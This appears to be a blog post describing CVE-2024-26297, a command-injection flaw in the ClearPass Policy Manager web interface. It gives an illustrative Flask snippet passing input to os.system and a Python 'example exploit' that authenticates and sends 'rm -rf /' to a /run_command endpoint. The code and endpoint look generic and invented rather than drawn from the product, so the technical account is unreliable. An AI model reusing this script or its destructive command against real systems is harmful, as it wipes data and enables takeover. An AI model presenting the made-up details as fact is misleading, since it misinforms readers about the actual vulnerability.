CVE-2024-26297: Critical Vulnerabilities in ClearPass Policy Manager Web-based Management Interface, Enabling Remote Authenticated Users to Run Arbitrary Commands

A major security vulnerability has been disclosed in the ClearPass Policy Manager web-based management interface, labeled under the CVE identifier CVE-2024-26297. This vulnerability allows remote authenticated users to execute arbitrary commands on the underlying host, leading to complete system compromise. In this post, we will explore the details of this vulnerability, how it can be exploited, and its potential impacts on affected systems.

Vulnerability Details

The ClearPass Policy Manager, developed by Aruba Networks, is a comprehensive, web-based interface that enables IT administrators to manage policies and enforce network access controls. The CVE-2024-26297 vulnerability exists due to improper sanitization of user-supplied input and weak restrictions on certain user actions within this web-based management interface.

Exploiting the vulnerability requires valid credentials to the ClearPass Policy Manager. Once authenticated, an attacker can exploit it by submitting specially crafted input through particular features of the web interface.

This is an example of a vulnerable code snippet

@app.route('/run_command', methods=['POST'])
def run_command():
    command = request.form.get('command', None)
    os.system(command)
    return 'Command executed.'

In the code above, os.system(command) directly executes the supplied command, without any proper sanitization, leading to the vulnerability. An attacker can manipulate the command variable, allowing arbitrary command execution on the underlying host operating system with root privileges. As a result, the attacker gains complete control over the targeted system.

Original References

1. NIST National Vulnerability Database (NVD) entry
2. Aruba Networks Security Advisory

Exploit Details

There are currently no public exploits specifically targeting CVE-2024-26297; however, attackers with knowledge of the vulnerability could develop custom attack scripts.

For illustrative purposes only, an example of a potential exploit using the Python requests library might look like this:

import requests

# Authenticate to ClearPass Policy Manager
url = "https://target.clearpassdomain.com/login";
data = {"username": "admin", "password": "P@sswrd"}
response = requests.post(url, data=data)

# Check if authentication was successful
if response.status_code == 200:
    print("Authentication successful")
    cookies = response.cookies

    # Execute arbitrary command
    url = "https://target.clearpassdomain.com/run_command";
    command = "rm -rf /"  # Warning: This would delete all files in the system
    data = {"command": command}
    response = requests.post(url, data=data, cookies=cookies)

    if response.status_code == 200:
        print("Command executed successfully")
    else:
        print("Failed to execute command")
else:
    print("Authentication failed")

Mitigations and Recommendations

Aruba Networks has released a patch for the ClearPass Policy Manager that addresses CVE-2024-26297. It is highly recommended that affected users upgrade to the latest version of ClearPass Policy Manager.

Moreover, administrators should follow these best practices to reduce the risk of system compromise

1. Ensure proper access controls are in place, restricting access to the ClearPass Policy Manager web-based interface.

Conclusion

The CVE-2024-26297 vulnerability presents a significant risk to organizations using the ClearPass Policy Manager. By exploiting this vulnerability, an attacker with valid authentication credentials could execute arbitrary commands on the underlying host, leading to complete system compromise. Therefore, it is essential for users to apply the available patch and follow security best practices to defend their systems from potential attacks.

Timeline

Published on: 02/27/2024 22:15:15 UTC
Last modified on: 02/28/2024 14:06:45 UTC